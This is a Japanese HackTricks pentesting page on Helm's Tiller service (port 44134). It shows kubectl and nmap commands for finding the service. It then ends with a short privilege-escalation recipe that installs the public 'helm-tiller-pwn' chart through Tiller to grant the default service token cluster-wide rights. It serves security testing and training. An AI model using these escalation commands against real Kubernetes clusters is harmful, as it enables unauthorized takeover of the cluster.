hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

4.9 KiB
Raw Blame History

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

基本情報

HelmはKubernetesのパッケージマネージャです。YAMLファイルをパッケージ化して公開およびプライベートリポジトリで配布することができます。これらのパッケージはHelm Chartsと呼ばれます。Tillerはデフォルトでポート44134で実行されているサービスです。

デフォルトポート: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

列挙

異なる名前空間のポッドおよび/またはサービスを列挙できる場合は、それらを列挙して、名前に**"tiller"**が含まれるものを検索します:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

例:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

You could also try to find this service running checking the port 44134:

ポート44134をチェックして、このサービスが実行されているかもしれません。

sudo nmap -sS -p 44134 <IP>

一度それを発見したら、クライアントhelmアプリケーションをダウンロードして通信できます。 homebrewなどのツールを使用するか、公式リリースページを参照してください。詳細や他のオプションについては、インストールガイドを参照してください。

その後、サービスを列挙できます:

helm --host tiller-deploy.kube-system:44134 version

特権昇格

デフォルトでは、Helm2kube-system ネームスペースに 高い権限 でインストールされていました。そのため、サービスを見つけてアクセス権を持っている場合、これにより 権限を昇格 することができます。

必要なのは、次のようなパッケージをインストールするだけです: https://github.com/Ruil1n/helm-tiller-pwn これにより、デフォルトのサービストークンがクラスタ全体のすべてにアクセスできる ようになります。

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

http://rui0.cn/archives/1573には攻撃の説明がありますが、基本的には_helm-tiller-pwn/pwnchart/templates/_内のclusterrole.yamlclusterrolebinding.yamlファイルを読むと、すべての権限がデフォルトトークンに与えられているのがわかります。